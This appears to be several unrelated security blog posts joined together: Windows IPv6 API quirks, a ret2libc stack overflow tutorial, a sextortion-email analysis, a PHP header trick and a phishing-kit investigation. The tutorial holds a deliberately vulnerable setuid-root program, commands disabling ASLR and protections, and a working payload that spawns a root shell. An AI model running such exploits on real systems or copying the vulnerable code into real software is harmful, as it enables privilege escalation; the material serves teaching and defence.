
[Half of the world still lacks Internet access](https://en.wikipedia.org/wiki/Global_Internet_usage#Internet_users), but [there are no IPv4 addresses left to hand out](https://ipv4.potaroo.net/). On the other hand, [33% of Google's customer base has a working IPv6 connection now](https://www.google.com/intl/en/ipv6/statistics.html ) and [Apple is pushing developers to switch just for the performance benefits](https://www.zdnet.com/article/apple-tells-app-devs-to-use-ipv6-as-its-1-4-times-faster-than-ipv4/). It's clear that IPv6 will be increasingly important as time goes on, which means that software libraries for IPv6 deserve scrutiny now.

Microsoft Windows has accumulated numerous API functions for converting IPv6 addresses from text to binary (parsing) and from binary to text (printing), including:

*   [iphlpapi.ParseNetworkString](https://docs.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-parsenetworkstring)
*   [ws2\_32.inet\_ntop](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton)
*   [ws2\_32.InetNtopW](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inetntopw)
*   [ws2\_32.inet\_pton](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inet_pton)
*   [ws2\_32.InetPtonW](https://docs.microsoft.com/en-us/windows/win32/api/ws2tcpip/nf-ws2tcpip-inetptonw)
*   [ws2\_32.WSAAddressToStringA](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaaddresstostringa)
*   [ws2\_32.WSAAddressToStringW](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsaaddresstostringw)
*   [urlmon.CreateUri](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/ms775098(v=vs.85)) (string normalization only)
*   dnsapi.DnsIpv6AddressToString (undocumented)
*   dnsapi.DnsIpv6StringToAddress (undocumented)

However, all of these functions behave identically to, and are surely built upon, the following:

*   [ntdll.RtlIpv6AddressToStringA](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringa)
*   [ntdll.RtlIpv6AddressToStringW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringw)
*   ntdll.RtlIpv6AddressToStringExA (not explicitly documented)
*   [ntdll.RtlIpv6AddressToStringExW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringexw)
*   [ntdll.RtlIpv6StringToAddressA](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressa)
*   [ntdll.RtlIpv6StringToAddressW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressw)
*   ntdll.RtlIpv6StringToAddressExA (not explicitly documented)
*   [ntdll.RtlIpv6StringToAddressExW](https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlipv6stringtoaddressexw)

The two RtlIpv6AddressToString functions only print plain IPv6 addresses. The _Ex_ suffix in the RtlIpv6AddressToStringEx functions indicates that they were added later, and they can print addresses with or without a network interface number or port.

Likewise, the RtlIpv6StringToAddress functions are older and can only parse plain IPv6 addresses. They report the _terminator_ via a pointer argument, the terminator being the first unparsable character in the input string. The newer RtlIpv6StringToAddressEx functions can, in addition to parsing unadorned addresses, parse text that includes a network interface number or port. Furthermore, the Ex functions are more strict about what they accept than the originals: They do not report the terminator because they just return an error code if the address does not end at the end of the string.

This year (2020), I [implemented all eight of those ntdll functions for Wine](https://source.winehq.org/git/wine.git/blob/bedfb9cae224a369efa4588332a5518dbee57035:/dlls/ntdll/rtl.c#l1091) from scratch, knowing nothing about how the Windows implementations are coded. I tested millions of string inputs to determine exactly what counts as an IPv6 address in Windows, and in the process found some interesting quirks that could lead to security vulnerabilities in Windows software.

## RtlIpv6StringToAddress(Ex) might give you the wrong address

In a spec-conformant IPv6 address parser, a `::` [represents two or more bytes of zeros](https://tools.ietf.org/html/rfc4291#section-2.2). In the Windows APIs, this is only true if the double colon is in the middle or at the end of the address: If it comes at the beginning, it counts as at least four bytes of zeros. For example, if the address `::1` were written as `::0:0:0:0:0:0:0:1` (perfectly valid according to the spec), RtlIpv6StringToAddress reports that the terminator is the last `:` instead of the null terminator `\0` and it returns `STATUS_SUCCESS`. RtlIpv6StringToAddressEx is better because it returns the error code `STATUS_INVALID_PARAMETER` instead. Nevertheless, both functions fill the address buffer with the parsed address, minus two bytes at the end and plus two zero bytes at the beginning. In this example, the binary address that is stored will be `::` instead of `::1`. If the calling program does not check for errors thoroughly, this defect could expose sensitive data by causing server software to bind to `::` (all addresses) instead of `::1` (localhost only).

The fact that Windows fails to parse some valid addresses is a compelling reason to avoid using the Windows IPv6 parsing APIs altogether, since differences between how IPv6 implementations output and interpret addresses can lead to software incompatibility. I felt that this was such a glaring problem that I wrote to Microsoft Security about it in January 2020, but because they did not consider it to be a significant security issue, it has yet to be fixed.

## RtlIpv6AddressToString writes past the null terminator

RtlIpv6AddressToString always zeroes out the 46th character of the buffer, even though the longest possible normalized native IPv6 address is only 39 characters:

`1111:2222:3333:4444:5555:6666:7777:8888`

If the input is an [ISATAP](https://en.wikipedia.org/wiki/ISATAP) address (indicated by `0` or `200` in the fifth component and `5efe` in the sixth component), the longest possible normalized address increases to 44 characters in length, which is still one less than 45:

`1111:2222:3333:4444:200:5efe:255.255.255.255`

Overwriting the 46th character could cause a buffer overflow if the function is given an output buffer of less than 46 characters. The problem was fixed in RtlIpv6AddressToStringEx, which writes the minimum number of characters necessary.

## RtlIpv6StringToAddress does not limit the length of the last component

[An IPv6 address is invalid if any of its components are longer than four digits](https://tools.ietf.org/html/rfc4291#section-2.2) (even if the extra digits are just leading zeros). And since IPv6 address components are hexadecimal by default, there's no prefix like `0x` to switch from decimal to hexadecimal. However, RtlIpv6AddressToString waives the length requirement for the last component if it is prefixed with `0x`, for example:

`::0x9999999999999999999999999999999999999999999999999999999999999999999999abcd`

No matter how long the last component is, if it starts with `0x` and contains only hexadecimal digits, the value is taken from the last four digits (`::abcd` in this example), the terminator is set to the `x`, and `STATUS_SUCCESS` is returned. This could result in a buffer overflow if an address that RtlIpv6AddressToString validates is assumed to be 45 characters or less and then copied to a 45-character buffer. The problem is more or less fixed in RtlIpv6StringToAddressEx, which returns `STATUS_INVALID_PARAMETER` if it encounters a `0x`, although it still parses and saves the value following the `0x` in the same way as RtlIpv6StringToAddress.

## Best practices

With all of the above in mind, here's what I recommend:

*   For the sake of interoperability, avoid the Windows IPv6 parsing APIs if possible. Use an external library such as [ipv6-parse](https://github.com/jrepp/ipv6-parse) instead.
*   If you do use the Windows IPv6 parsing or printing APIs, always use the Ex functions instead of the older ones.
*   Check the return value of RtlIpv6StringToAddressEx for errors, even if you have already validated the IPv6 address with a spec-conformant parser.

Happy coding! And if you're not already using [Wine](https://www.winehq.org/), be sure to check out the Wine 6.0 release (I'll be calling it "Wine Vista") which is due out at the beginning of next year. Apart from improved IPv6 support, compatibility with popular Windows software has taken an enormous step forward since Wine 5.0 thanks to an overhauled software architecture and tighter integration with MinGW.

Photo credit: [Phil Wolff](https://www.flickr.com/photos/philwolff/5557354098/in/photolist-9t5TKY-jKi9BZ-reZriP-csBi4j-bozscb-5XWDVu-8qdoiy-9GWxX7-cc8j1J-ost5VM-cj45H5-7FQyVD-5XWDVm-58Zu4e-nQ4nF5-nxHJA4-d8vfpA-nxHH9r-8qdobj-9TExeZ-bvov6x-5NtZnq-7yQMwe-cCjXzo-4qQ54q-48dbjJ-23s1XwA-GxGQpg-brFDWM-bdQpKT-bdPJ1F-brEEDH-2h3Jv9-c2pZVE-bdQgai-nEho6E-9UfTM8-bdQ3N4-6QdWkz-aousCH-kwkHqE-bdQeyz-brEEzR-9QT9bn-9THsMQ-bdQ6Xa-bdQaA4-brFJoP-bdPQki-bdPM64)

Quirks in the Windows IPv6 address parsing and printing APIs


A stack buffer overflow occurs when a program writes to a memory address on it's call stack outside of the intended structure / space.

In this walk-through, I'm going to cover the ret2libc (return-to-libc) method. This method of exploitation is great because it doesn't require the use of your typical shellcode. It involves making sys calls to the functions provided to us by libc (standard c library). We're going to use the `system` and `exit` sys calls for demonstration.

To have a good understanding about how stack overflows work, it's extremely helpful to know how stack data structures work, and more importantly - how the call stack works. For the sake of time, I'm not going to type out how these two things work in great detail. If you want to know how these work, I would recommend watching [stack](https://www.youtube.com/watch?v=7dLZRMDcY6c) and [call stack](https://www.youtube.com/watch?v=XbZQ-EonR_I).

## Creating a vulnerable binary to test on

To practice carrying out a SOF, we create a vulnerable binary. The source below uses strcpy with no boundary checking. This is what makes the code vulnerable to a stack overflow attack. strcpy() will take whatever is in argv[1] and copy it into buf. Without boundary checking around strcpy() to make sure the length of argv[1] isn't greater than the width of the buffer, we can overrun the buffer and overwrite assembler instructions with our own.

    #include <string.h>
    #include <unistd.h>
    #include <sys/cdefs.h>
    
    int main(int argc, char** argv) {
    
        setuid(0);
    
        if (argc > 1) {
            char buf[256];
            strcpy(buf, argv[1]);
        }
    
        return 0;
    }
    

For the sake of simplicity and keeping this article to a sane length, I disable common buffer overflow protection (BOP) mechanisms including ASLR, Canaries, and NX bit. PIE and RelRO are disabled on my system by default. I also pass an option along to make the binary 32-bit.

`gcc -g -Wall -mpreferred-stack-boundary=2 -fno-stack-protector -m32 -I. -z execstack -o bin/sof src/sof.c`

- `-g`: Produces debugging information about the program that GDB (GNU Debugger) can use to aid us.
- `-fno-stack-protector`: Disables stack smashing protectors (SSP).
- `-z execstack`: Makes stack frames executable.
- `-o sof`: Output (compiled) binary name will be sof.
- `-mpreferred-stack-boundary=2`: aligns the stack boundary in our binary to 4 bytes.

ASLR can't be disabled via a compiler flag because it's a feature that's carried out and managed by the kernel. On Fedora, Debian, and Ubuntu, ASLR can be disabled by adding `kernel.randomize_va_space = 0` to `/etc/sysctl.conf` or `echo 0 > /proc/sys/kernel/randomize_va_space`. Other linux distributions may require a different approach. An easy way to determine if ASLR is enabled (it likely is if you didn't expliclity disable it) is to `cat /proc/sys/kernel/randomize_va_space`. If the output is a positive number, it's enabled.

## Assembler dump breakdown

Let's disassemble the main function in our binary, break it down, and talk about what happens at an assembler level.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  gdb -q 	bin/sof                                              
    [*] No debugging session active
    GEF for linux ready, type `gef' to start, `gef config' to configure
    67 commands loaded for GDB Fedora 8.0.1-33.fc27 using Python engine 3.6
    Reading symbols from bin/sof...done.
    @gef➤  disassemble main
    Dump of assembler code for function main:
       0x08048416 <+0>:	push   ebp
       0x08048417 <+1>:	mov    ebp,esp
       0x08048419 <+3>:	sub    esp,0x100
       0x0804841f <+9>:	push   0x0
       0x08048421 <+11>:	call   0x8048300 <setuid@plt>
       0x08048426 <+16>:	add    esp,0x4
       0x08048429 <+19>:	cmp    DWORD PTR [ebp+0x8],0x1
       0x0804842d <+23>:	jle    0x8048447 <main+49>
       0x0804842f <+25>:	mov    eax,DWORD PTR [ebp+0xc]
       0x08048432 <+28>:	add    eax,0x4
       0x08048435 <+31>:	mov    eax,DWORD PTR [eax]
       0x08048437 <+33>:	push   eax
       0x08048438 <+34>:	lea    eax,[ebp-0x100]
       0x0804843e <+40>:	push   eax
       0x0804843f <+41>:	call   0x80482e0 <strcpy@plt>
       0x08048444 <+46>:	add    esp,0x8
       0x08048447 <+49>:	mov    eax,0x0
       0x0804844c <+54>:	leave  
       0x0804844d <+55>:	ret    
    End of assembler dump.
    @gef➤  q
    

       0x08048416 <+0>:	push   ebp
       0x08048417 <+1>:	mov    ebp,esp
       0x08048419 <+3>:	sub    esp,0x100
    

These first few lines above are called a function prologue. `push ebp` pushes our base pointer onto the stack. Then `mov ebp,esp` copies the value of `esp` (stack pointer) into the `ebp` register making `ebp` == `esp`. Next, `sub esp,0x100` moves the stack pointer 256 bytes (0x100 hex = 256) towards a lower memory address, reserving 256 bytes of data on the stack. This is space being reserved for `char buf[256]`.

       0x0804841f <+9>:	push   0x0
       0x08048421 <+11>:	call   0x8048300 <setuid@plt>
    

Push 0 onto the stack as an argument for the call to `setuid()`.

       0x08048426 <+16>:	add    esp,0x4
       0x08048429 <+19>:	cmp    DWORD PTR [ebp+0x8],0x1
       0x0804842d <+23>:	jle    0x8048447 <main+49>
    

The next instruction `cmp DWORD PTR [ebp+0x8],0x1` compares the first argument of main (argc) to 1. The following `jle` instruction uses the result of this comparison. It takes the result and jumps to `<main+39>` if the result is less than or equal to the value stored at `0x8048412`, which is 1. If you look at the C source above, you can see this is essentially our `if (argc >) {...}` condition.

       0x0804842f <+25>:	mov    eax,DWORD PTR [ebp+0xc]
       0x08048432 <+28>:	add    eax,0x4
       0x08048435 <+31>:	mov    eax,DWORD PTR [eax]
       0x08048437 <+33>:	push   eax
    

Here, we move the address stored at ebp+0xc into the eax register (this is the address to element 0 of argv). Then, we add 4 bytes to the address stored in the eax register. This results in the address of `argv[1]`. Next, `mov eax,DWORD PTR [eax]` takes the value at `argv[1]` and copies it into the `eax` register. `push eax` pushes this value onto the stack.

       0x08048438 <+34>:	lea    eax,[ebp-0x100]
       0x0804843e <+40>:	push   eax
    

`lea eax,[ebp-0x100]` calculates the address of `ebp-0x100` and stores the address in `eax`. `push eax` pushes this address onto the stack.

       0x0804843f <+41>:	call   0x80482e0 <strcpy@plt>
    

The `call` instruction does a couple of things. It pushes the address of the instruction immediately following the call instruction onto the stack and then does an unconditional jump to `strcpy@plt`. The reason a return address is pushed onto the stack is so that when `strcpy@plt` finishes executing, the program knows where to return execution.

       0x08048444 <+46>:	add    esp,0x8
       0x08048447 <+49>:	mov    eax,0x0
       0x0804844c <+54>:	leave  
       0x0804844d <+55>:	ret    
    

These last four instructions are a function epilog. This is just the opposite of a function prologue. Instead of setting up the stack, the epilog cleans up the stack. `add esp,0x8` adds 8 bytes to the address `esp` points to. Then `mov eax,0x0` zeros out whatever is stored in the `eax` register. The `leave` instruction does a couple of things. It releases the stack frame and then copies the base pointer (`ebp`) into `esp`. This releases the space that was allocated to the previous stack frame. Finally, the `ret` instruction pops the return address off the stack and transfers returns execution to the address that was pop'd.

# Exploiting the SOF vulnerability

Now that we have disabled common BOP features and understand the assembler of our vulnerable binary, we will begin exploiting. One of the first things I like to do (after reviewing the assembler dump) is to verify that an overflow exists by triggering a segmentation fault. This is done by providing data to a program which in our case, get's strcpy'd into a fixed width buffer.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  bin/sof $(perl -e 'print "A" x 260')
    [1]    6406 segmentation fault (core dumped)  bin/sof $(perl -e 'print "A" x 260')
    

When we strcpy 260 'A' characters into the buffer, we get a segmentation fault. This is because we overwrote the four bytes of memory after the end of our buffer. Segmentation faults are exceptions that get raised by hardware with memory protection. It indicates that something tried writing to a region of memory it shouldn't have.

## Creating the payload

In order to successfully call `system`, we need to place a few different values on the stack, when we overflow the buffer. We need the address of "/bin/sh" found in libc.so, an address that execution will return to when system has finished, and an address to the system call itself.

To get the address to '/bin/sh', we can calculate it by taking the starting address of libc.so and adding the offset of '/bin/sh' to it.

To see the absolute path to the libc.so library that our binary uses, we use `ldd`. This is needed for the next step.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  ldd bin/sof
    	linux-gate.so.1 (0xf7fd2000)
    	libc.so.6 => /lib/libc.so.6 (0xf7deb000)
    	/lib/ld-linux.so.2 (0xf7fd4000)
    
    

Next, we use `strings` to report the offset of any string it finds in libc.so and grep the output for what we're after.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  strings -a -t x /lib/libc.so.6 | grep '/bin/sh'   
     16a23e /bin/sh
    

Running `vmmap` will also provide the starting address of libc.so when ran from a active gdb session.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  gdb -q bin/sof
    
    @gef➤  vmmap
    Start      End        Offset     Perm Path
    0x08048000 0x08049000 0x00000000 r-x /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
    0x08049000 0x0804a000 0x00000000 rwx /home/th3v0id/repos/bufferoverflows/stack/01/bin/sof
    0xf7deb000 0xf7fa4000 0x00000000 r-x /usr/lib/libc-2.26.so
    0xf7fa4000 0xf7fa5000 0x001b9000 --- /usr/lib/libc-2.26.so
    0xf7fa5000 0xf7fa7000 0x001b9000 r-x /usr/lib/libc-2.26.so
    0xf7fa7000 0xf7fa8000 0x001bb000 rwx /usr/lib/libc-2.26.so
    0xf7fa8000 0xf7fab000 0x00000000 rwx 
    0xf7fcd000 0xf7fcf000 0x00000000 rwx 
    0xf7fcf000 0xf7fd2000 0x00000000 r-- [vvar]
    0xf7fd2000 0xf7fd4000 0x00000000 r-x [vdso]
    0xf7fd4000 0xf7ffc000 0x00000000 r-x /usr/lib/ld-2.26.so
    0xf7ffc000 0xf7ffd000 0x00027000 r-x /usr/lib/ld-2.26.so
    0xf7ffd000 0xf7ffe000 0x00028000 rwx /usr/lib/ld-2.26.so
    0xfffda000 0xffffe000 0x00000000 rwx [stack]
    
    @gef➤  q
    

We calculate the address by taking the start address of `/usr/lib/libc-2.26.so` and add the offset of the string. I like to use `printf` for this. If you use printf in gdb, you have to add `shell` before the command so gdb doesn't try to interpret it as one it provides. Same applies to any shell command you want to run in gdb.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  printf "0x%x\n" $((0xf7deb000 + 0x16a23e))  
    0xf7f5523e
    

To verify the address is correct, we can evaluate it in gdb, and see what string resides there. It should be '/bin/sh'.

    @gef➤  x/s 0xf7f5523e
    0xf7f5523e:	"/bin/sh"
    

And now, we just need the address of `system`.

    @gef➤  p system
    $1 = {<text variable, no debug info>} 0xf7e2c540 <__libc_system>
    
    @gef➤  q
    

Because I'm on a machine with an Intel processor and I compiled the binary for 32 bit systems, the addresses we found need to be reversed to conform with little-endian notation. If you have a processor that enforces little-endian notation, you will find yourself doing this often. I wrote this [script](https://gist.github.com/selftaught/5ba8e942f68ae38719243de8d07bcaea) that takes a memory address and reverses it.

Reverse system address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  raddr -a 0xf7e2c540
    \x40\xc5\xe2\xf7
    

Reverse "/bin/sh" string address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  raddr -a 0xf7f5523e
    \x3e\x52\xf5\xf7
    

And for the return address, we can use anything for the time being.

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒   raddr -a 0xdeadc0de
    \xde\xc0\xad\xd
    

We modify the command we ran earlier, adding the reversed addresses onto the end of the payload.

    #
    # [      260 x "A" characters      ][  system() address  ][ random address ][ '/bin/sh' address ]
    #
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xde\xc0\xad\xde" . "\x3e\x52\xf5\xf7"')
    @sh-4.4# whoami
    root
    @sh-4.4# exit
    exit
    [1]    9121 segmentation fault  bin/sof 
    

We successfully overflow the buffer, call system with '/bin/sh' as the first arg, and get a shell. This works even despite the fact that when we exit from the shell, we get a segmentation fault. There is a way to exit the shell cleanly without triggering a segfault. What we can do instead of using 0xdeadbeef for our return address is use the `exit` system call address instead. Doing so should give us a clean exit.

    @gef➤  p exit
    $2 = {<text variable, no debug info>} 0xf7e1e8f0 <__GI_exit>
    
    @gef➤  q
    

Reverse exit's address

    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master 
    ⇒  raddr -a 0xf7e1e8f0 
    \xf0\xe8\xe1\xf7
    

And now replace the invalid return address with it in our payload.

    #
    # [      260 x "A" characters      ][  system() address  ][ exit() address ][ '/bin/sh' address ]
    #
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒  bin/sof $(perl -e 'print "A" x 260 . "\x40\xc5\xe2\xf7" . "\xf0\xe8\xe1\xf7" . "\x3e\x52\xf5\xf7"')
    @sh-4.4# whoami
    root
    @sh-4.4# exit
    exit
    th3v0id@lenovo:~/repos/bufferoverflows/stack/01|master
    ⇒
    

And get a shell with a clean exit.

## Brief overview of a few common buffer overflow protection mechanisms

- 
ASLR (Address Space Layout Randomization)

- ASLR is a technique used to randomize the address space of programs when they start. This is done by giving program a random start address. This makes exploiting a buffer overflow more difficult because the addresses in the program become unreliable thus making it harder to consistently jump to any given address. Just like any other security mechanisms, ASLR only makes things more difficult. Not impossible.

- 
Canary

- Stack Canaries are used to catch stack overflows before malicious code is executed. These work by modifying function epilog and prologue regions on the stack. If a buffer is overwritten during execution, it's noticed, and results in an exception (hopefully) which bubbles up until it is caught by an exception handler. This is not always successful and there are methods for exploiting this. If you can successfully overwrite the exception handler on the stack (SEH), you can carry out your exploit, completely mitigating canaries.

- 
RELRO (RELocation Read-Only)

- RELRO protection makes the relocation sections that are used to resolve dynamically loaded functions, read-only. Essentially, what this means is that binaries get marked which tells the dynamic linker to resolve all symbols during the start up of a program when it's executed or when a shared library is linked to using dlopen instead of waiting to do resolution when a function is called.

- 
NX bit (Non-executable bit)

- Used to mark certain areas of memory as non-executable. Any processors that support the use of the NX bit will refuse to perform any write operations on marked segments of memory.

- AMD uses the terminology "Enhanced Virus Protection" for the NX bit.
- Intel refers to it as the "XD (eXecute Disabled) bit."
- ARM refers to it as the "XN (eXecute Never) bit."

## Further Reading

- [BOF protection](https://en.wikipedia.org/wiki/Buffer_overflow_protection)
- [Understanding Buffer Overflow Attacks](https://itandsecuritystuffs.wordpress.com/2014/03/18/understanding-buffer-overflows-attacks-part-1/)
- [Stack - Abstract Data Type](https://en.wikipedia.org/wiki/Stack_(abstract_data_type))
- [Smashing The Stack For Fun And Profit](http://insecure.org/stf/smashstack.html)
- [0x00 sec](https://0x00sec.org/search?q=stack%20overflow)
- [Black Hat - Difference between BOF preventions and weaknesses](https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf)
- [Exploit Mitigation Techniques - DEP](https://0x00sec.org/t/exploit-mitigation-techniques-data-execution-prevention-dep/4634)
- [Shellblade ret2libc](http://shellblade.net/docs/ret2libc.pdf)
- [x64 ROP](https://0x00sec.org/t/64-bit-rop-you-rule-em-all/1937)
- [UAF heap overflow](https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580)
- [NOP sled](https://www.exploit-db.com/papers/13171/)

## Tools

- [GEF - GDB Enhanced Features](https://github.com/hugsy/gef/)
- [SMAP - Shellcode Mapper](https://github.com/rootlabs/smap/)
- [Radare2](https://github.com/radare/radare2/)
- [Cutter - Radare2 QT GUI](https://github.com/radareorg/cutter)
- [MSFvenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)
- [pwntools](https://github.com/Gallopsled/pwntools)
- [Unicorn - CPU emulator](http://www.unicorn-engine.org/)

## Cheatsheets

- [Memory Segmentation](https://i.imgur.com/Xe1m6C3.png)
- [Reverse Engineering](https://i.imgur.com/ewrWkEa.png)
- [radare2](https://github.com/radare/radare2/blob/master/doc/intro.md)

## Other

- [Shellcode Database](http://shell-storm.org/shellcode/)
- [GDB documentation](https://sourceware.org/gdb/current/onlinedocs/gdb/)
- [GEF documentation](http://gef.readthedocs.io/en/master/)
- [Linux 32bit syscalls](http://asm.sourceforge.net/syscall.html)


Exploiting a Stack Buffer Overflow (ret2libc method)


I got another email. This one was interesting, the email was the standard "we had a rat on your computer that we used to take dirty pictures of you,  give us money or we will  send it to all your contacts". 

This is the email that I received.

![](2018/10/image-17.png "The scam email")

It's a fairly standard "give us money or we send dirty photos we took to your contacts" kind of scam email, but this one actually does something that I have not seen previously. The scammers establish "credibility" by actually telling you what your password is. The scammers purchased a dumped site database (that assumedly did not hash or salt passwords), correlated the email address in the DB, and sent out an email.

This scam is incredibly effective when you consider that a vast majority of people use the same password for every account. 

This scam also does something unique; they spoofed the sender of this email  to be me. 

    Delivered-To: hello@[redacted]
    Received-SPF: none (zoho.com: 171.99.132.162 is neither permitted nor denied by domain of [redacted]) client-ip=171.99.132.162; envelope-from=hello@[redacted]; helo=171-99-132-162.static.asianet.co.th;
    Authentication-Results: mx.zohomail.com;
        spf=none (zoho.com: 171.99.132.162 is neither permitted nor denied by domain of [redacted])  smtp.mailfrom=hello@[redacted]
    Received: from 171-99-132-162.static.asianet.co.th (171-99-132-162.static.asianet.co.th [171.99.132.162]) by mx.zohomail.com
        with SMTP id [redacted]; Mon, 29 Oct 2018 19:47:47 -0700 (PDT)

This was an interesting way of finding out that my mail server has incorrectly configured SPF records. This establishes ~darknet spooky hacker credibility~ by sending an email as you. 

I am going to take a shot in the dark that they try several different techniques to do this. The first, is just standard SPF record spoofing to send the message. Since the boilerplate message contains `Please don't try to contact me or find me, it is impossible, since I sent you an email from your email account.`, I am going to assume that sending mail as the recipient is part of the scam in general. 

I also have another theory, that when they send the mail, if SPF records prevent spoofing, that they then try to authenticate with the target mail server to craft the email using the harvested credentials. This would also prove to the scammers if the harvested credentials were valid. This is a technique that has been seen in the wild in previous phishing campaigns, talked about [here](https://research.801labs.org/phishing-campaign-research/).

Digging a little deeper and looking at the email headers above, the IP that sent the email is `171.99.132.162`. This IP appears to be a standard telecom IP address, belonging to a Broadband ISP located out of Bangkok, Thailand. 

![](2018/11/image.png)

Riskiq also only has two carrier-assigned DNS records for this IP address

![](2018/11/image-1.jpg)

It appears that this IP is for sure a private (possibly residential IP). Is this IP the actual IP of the scammer? I hope they they wouldn't be so dumb, but who knows. Lets poke at it on [Shodan](https://www.shodan.io). 

![](2018/11/image-2.png)

The only running service on this host is a web server. Ohhh boy, that's great. Since there was no DNS record for a TLD pointing towards this IP, it's safe to assume that it is a residential/business host that opened up a web server for something, or the scammer is running this from their home IP and has a web server running. Lets see whats on it. 

![](2018/11/image-3.jpg)

It appears this IP address is hosting a Hikvision camera control panel. Cameras are the number one compromised host for botnets or malicious activity on the internet. It's easy to assume that the person hosting this publicly accessible camera control panel left it with default passwords, and somebody logged in and compromised one of the cameras, adding it to a botnet. 

Aside from trying to log in (illegal) there's nothing more I can do for this research. :(


Phishing/Scam campaign research (ep. 2)


Hiding data in new and interesting places has always been a fun objective for anyone who likes creating and solving challenges. One of the interesting secret hiding places for data I like to use is server headers. 

I found out that you can override server headers live in-page with PHP's `header()` function. Combine this with some ascii art, and in the header of a server response you can now show people super hidden ascii art.

![](2018/10/image-15.png)

Here's the code to make it happen. Replace the `$subject` with new ascii art. 

    <?php
    $i = 0;
    $subject= "
    #    ,-''''-.
    #   (.  ,.   L        ___...__
    #   /7} ,-`  `'-==''``        ''._
    #  //{                           '`.
    #  \_,X ,                         : )
    #      7                          ;`
    #      :                  ,       /
    #       \_,                \     ;
    #         Y   L_    __..--':`.    L
    #         |  /| ````       ;  y  J
    #         [ j J            / / L ;
    #         | |Y \          /_J  | |
    #         L_J/_)         /_)   L_J
    #        /_)                   /_)";
    $header_name= "blackmagic-";
    foreach(preg_split("/((\r?\n)|(\r\n?))/", $subject) as $line){
    
        $pre = "";
        if($i<10)
            $pre = "00";
        elseif ($i<100)
            $pre = "0";
    
    
    
        header( "{$header_name}{$pre}{$i}: {$line}");
        $i++;
    
    }
    ?>
    
    


ASCII art in hidden places


An email came in that an end user thought was suspicious. The end user passed it up to one of our team members, who then passed it up to me.

![](2018/10/image.jpg "Initial phishing email")

To start off, this email is just dumb. The sender never bothered to copy legitimate Microsoft email formatting, and the wording is just strange. It doesn’t inspire even the most inexperienced users to “***rectify password expiration***”. Just for fun, let’s look at the url.
 
![](2018/10/image-2.jpg "Suspicious url")

`hxxp://piba.org.br` isn’t a known phishing site, it goes to a Portuguese church website. The site doesn’t matter, what does matter is it looks like the script is being ran through a compromised WordPress site, since it’s going through a `/wp-content/` uploads folder. It appears that somebody could upload a script to the WordPress site that acts as a pass-through to further obfuscate and prevent the campaign from being detected.

Once you click the link that passes through WordPress, you end up at a not-so-convincing office 365 login page.

![](2018/10/image-3.jpg "Bad credential harvesting page")

The email address in the link autofills the email box for your account. Let’s point out some interesting things about this scam site though. 

- the copyright on the bottom of the page has the **wrong year**.
- The site doesn't fill the entire page.
- The buttons and links don't work

 Why don’t they work? Because they’re **images**.
 
![](2018/10/image-4.jpg "Everything is a background image, instead of HTML/CSS")

Let’s look at the url and domain. `hxxp://fwclub.co.za/` is a winemaker’s club. It also doesn’t appear to be running any special framework either that would be exploitable.

![](2018/10/image-5.jpg "No interesting services detected")

There are quite a few open ports as well on this server, four of them are CPanel. It’s possible that the person running this phishing campaign got access to the site’s CPanel and piggybacked off their normal traffic.

Back to the original url, `hxxp://fwclub.co.za/includes/Office1/Login.php`. If we try one directory up, `/Office1/`, it redirects back to this script. So, lets go up another directory to `/includes/`.

![](2018/10/image-6.jpg "All the scripts!")

Hmm, looks like directory listing is turned on, and… there’s a recent backup of their phishing campaign. Let’s look at this backup.

![](2018/10/image-7.jpg)

Yup, that’s the source code to the credential dumping code. A day later, the domain is shut down in one form or another :(
 
![](2018/10/image-8.jpg)

Sophos also flagged the site, finally.

![](2018/10/image-9.jpg)

Well, we’ve still got their source code, so let’s take a look. 

`blocker.php` is a very interesting file.

![](2018/10/image-10.jpg)

The code uses a function I’ve never actually seen in PHP before, `gethostbyaddr()`, which attempts to lookup the incoming IP address to a hostname and possibly an identifier, like as Google or AWS, as well as the host names for a few other malware and phishing scanners.

